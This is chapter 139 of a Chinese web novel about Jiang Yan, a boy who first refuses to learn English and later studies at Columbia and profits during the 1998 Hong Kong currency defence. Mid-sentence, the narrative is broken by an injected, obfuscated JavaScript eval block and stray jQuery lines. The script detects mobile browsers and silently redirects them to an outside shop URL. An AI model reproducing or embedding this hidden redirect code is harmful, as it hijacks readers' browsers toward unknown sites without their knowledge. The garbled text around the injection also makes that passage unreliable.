139. 第 139 章

作品:《回到七零养妈妈

    84年,除了江桂英考上音乐学院外,江家还有另外一件大事——江岩上了三年级。


    为什么说这是大事呢?因为江岩成了安词的学生,而安词差点被自己这个儿子气晕。


    安词教导英语的方法在第一实验小学是比较特别的,也因为特别,以及容易被孩子们接受,学校老师们一致认为由她给这些孩子们启蒙更适合。


    安词教了三年的英语,虽然也遇到过早就启蒙对她教导的英语不感兴趣的学生,也有不怎么适应她教学方式的学生,但非常不适应的学生...只有江岩。


    江岩好像天生对ABC抗拒一样,不好好学。


    安词很肯定,那不是学不会,启蒙得早的江岩没有出现习得性无助,他的不学是态度问题。


    知道这点后的安词气闷,差点气晕。


    江秦亿接到女儿电话后从滇省赶来,先是跟安词聊了聊,然后再去做儿子的思想工作。


    这时候他才知道,是他的锅。


    他们在北京的二进四合院常住的就他们一家五口,但自从他回京市上学,四合院渐渐开始住了其他人。


    都是需要安排到公司里的人,大多数还是在公司里会任比较重要职位的人。


    这些人有一个共同点,都是军人。


    军人的聊天有什么?


    军事机密当然不可能随便聊,所以聊的都是他们的,嗯,敌人,也就是外国人。


    江岩小学三年级,还不太懂事,把敌人与外国人画上等号,所以排斥学习英语。


    江秦亿抹了把脸,开始慢慢跟自己儿子‘讲道理’,然后他也差点被气晕。


    江岩的抗拒包括自己老爸的讲道理,在他意识里那就是老爸在给敌人辩解,所以老爸是汉奸。


    要不是江桂英拦着江岩今天就吃上竹笋炒肉了。


    最后,是找江秦亿有事的陆云峰解决了这件事。


    他了解了前因后果后把江岩带到游廊,一大一小就在游廊下站着,军人出身的陆云峰站得笔直,江岩看到之后也一直挺着腰杆,累了也要坚持。


    陆云峰倒是没太多煽情的话:“小江岩觉得那些人是敌人,是坏人,所以不想学他们的语言?”


    江岩绷着一张脸,点头。


    那小大人的模样让陆云峰忽而一笑:“说是敌人,其实也没差。”


    在江岩的脸上露出笑容的时候他又补了一句:“但是敌人分有很多种,退敌的方法也有很多种,你是想像你外公一样上阵杀敌,还是想像你爸爸一样兵不见刃地退敌?”


    江岩小小的眼睛大大的疑惑。


    陆云峰跟他说:“如果想要上阵杀敌,你需要的是强健的体魄,敏锐的意识,还有坚韧的意志,就跟你外公一样。”


    “如果想要兵不见刃,那就得像你爸爸一样上好的学校,好好学习,在商场上把敌人杀个片甲不留。”


    “因为我们国家现在的敌人不仅仅是那些拿着枪炮跟我们对冲的人,还有在商场和文化上步步蚕食,要把我们的文化和经济搞崩溃的人。”


    江岩的表情严肃了起来。


    陆云峰问:“所以,你选择哪一种?”


    江岩很是认真:“我可以都选吗?”


    陆云峰一乐:“当然可以。那就锻炼身体,好好学习,一样都不能落下。”


    江岩很是严肃地点头。


    就这样,江岩抗拒学英语的事总算是解决,他把原本喜欢的书法和国画补习班退了,开始学武术。


    安词和江秦亿不觉得武术比书法和国画差,很是乐意地给他找合适的老师。


    虽说他们都间接接触边境的战争,知道战争的残酷,更是知道自治区家家挽联,但也正是因为知晓并未反对江岩的一腔热血。


    哪有什么岁月静好,一直都有人在负重前行,负重前行的人中有自己的亲人,这有什么好奇怪?


    他们都已经做好江岩入伍的心理准备,却没想到他因为视力被刷,知道这件事时候安词的表情都扭曲了。


    已经满18岁的江岩反过来安慰自己妈妈,说一心为国,在哪里都是退敌,于是更努力读书,自己着手出国留学的事。


    看到这样的儿子江秦亿很是欣慰,江桂英也感叹说自己弟弟长大了,倒显得安词好像担心得太过。


    安词问:“我是不是更年期到了啊?”


    不会吧?还没到四十,她还年轻呢!


    江秦亿笑着说:“我们安老师还年轻呢!”


    安词忍不住嘴角上扬。


    江岩忽而来了一句:“可能是因为太闲了?”


    顶着自己老妈杀人一般的目光,在姐姐敬佩的眼神中,他推了推刚配的眼镜:“或者,爸妈你们再生一个?反正妈也不需要靠学校的工资生活。”


    钱不是问题,教英语,外边的补习班来钱更快!


    最后江岩在盛怒的老妈的鞋底下逃脱,要不是老爸帮忙阻拦,兴许也逃不了。


    安词追到影壁处,倒是没出大门。


    江秦亿拿过鞋子给安词穿好:“天凉,别跟孩子计较。”


    安词白眼冲上天:“你就宠着他吧!”


    江秦亿好脾气:“以后我会严厉一些。”


    站在垂花门看这边的江桂英得眉眼弯弯。


    安词也跟着笑:“桂英今天要出去吗?”


    “嗯,出去的,声乐团那边有事要忙。”江桂英看着安阿姨走过来,伸手挽住:“不过跟安阿姨和江叔叔吃饭的时间还是有的。”


    安词说:“还是桂英贴心。”


    江桂英绝口不提自己是被弟弟叫回来的事,很是乐意地接下这一声夸奖。


    而另外一边,江岩出了门,脸上的玩世不恭消失了。


    他推了推眼镜,刚配的,还不习惯,因为眼镜他看起来倒是多了一丝斯文。


    家里有小汽车,他爸也有司机,但他并非坐小汽车上学,反而跟别人挤公交或者自己骑自行车,他觉得这样更自由。


    现在一想,倒是可以去考个驾照。


    既然不是走那一条路他该怎么高调怎么来,结识更多有钱人,为以后铺路。


    当然,跟大院子弟们的走动也不能停,在进入老爸的公司之前他也要折腾出点什么,最好能折腾出比老爸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16873951|179733||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的公司更好的成绩。


    他是不奢求能跟他老爸那样能在24岁的时候弄出路路通那样的公司,但也不能太差,至少要对得起那些叔伯口中的‘虎父无犬子’。


    他好歹占据了众多人和,可不能失败啊。


    改变人生方向的江岩结识一群‘在风口上起飞的猪’的孩子们,这些要么从小留守,要么跟着家人一起创业耳濡目染,同时还能考上京大的聪明人确实跟以前他接触的大院子弟不同,想法,思维方式,行事作风完全不一样。


    江岩适应得不错,好歹家里也做生意,哪怕这个生意‘半官方’。


    94年1月,汇率并轨让江岩加快出国的准备,他第一次求上在教育局的吴叔叔和陈阿姨,推进了他出国留学的事,最终成功在大二结束前入学哥伦比亚大学。


    虽然因为找吴叔叔和陈阿姨的事他挨了他爸一顿批,但结果出乎意料的好。


    97年对华国来说是重要的一年,在纽约的江岩却嗅到了不同寻常的味道。


    他在自己妈妈的支持下从他爸那里得到支援,哪怕他不是嗅觉最敏锐的那一批,经过一年的积累他依旧赚得盆满钵满。


    98年8月,江岩带着自己的公司成为香港股市里一块不大不小的基石,在收盘日稳稳扎根。


    那一天,他坐在香港写字楼里坐了许久,最终拿起电话拨打到内地,各种转接之后才听到陆云峰的声音,但是那一瞬间他却不知道要说什么了。


    倒是陆云峰笑了声:“我听说了,你赢了,恭喜。”


    江岩却是立马反驳:“是我们赢了。”


    “对,是我们赢了。”陆云峰马上改口。


    江岩看着窗外,灯光照亮整个办公室,外边的高楼大厦也有它们各自的光亮,他和他们都只是万千灯火中的一盏。


    但也是这一盏又一盏,照亮了每一个黑暗的角落。


    江岩说:“陆伯伯,我赢了。”


    听到这话的陆云峰笑了出来:“嗯,你赢了。”


    也许是知道他现在需要的是夸赞,陆云峰继续说:“我为你高兴,江同志和安同志也为你高兴。珍珍,阿龙,还有卫涛也为你高兴。”


    珍珍是陆云峰的女儿,阿龙是霍家的小辈,卫涛是吴永亮的儿子。


    他们四个虽然不同岁,阿龙更是不在京市,但因为父辈的关系他们的关系都很不错。


    从江岩出国到江岩发现国际炒家异常的行动轨迹,再到江岩计划为可能到来的港元灾难出一份力,他们不知晓全貌,却知道江岩已经站在属于他的战场,都为他加油。


    现在,江岩赢了,他们都很高兴。


    江岩忽而就说:“陆伯伯,我很早之前就理解了你说的话,现在也终于品尝到了胜利的果实。虽然不能扛枪上战场,但现在的战场,也很不错。“


    陆云峰低低地笑两声:“不管是哪个战场,全力以赴。”


    挂了电话,江岩站了起来,走向落地窗。


    灯光照不到他的脸,却能照亮他的身躯。


    他看着外边的万家灯火,低声自语。


    “全力以赴。”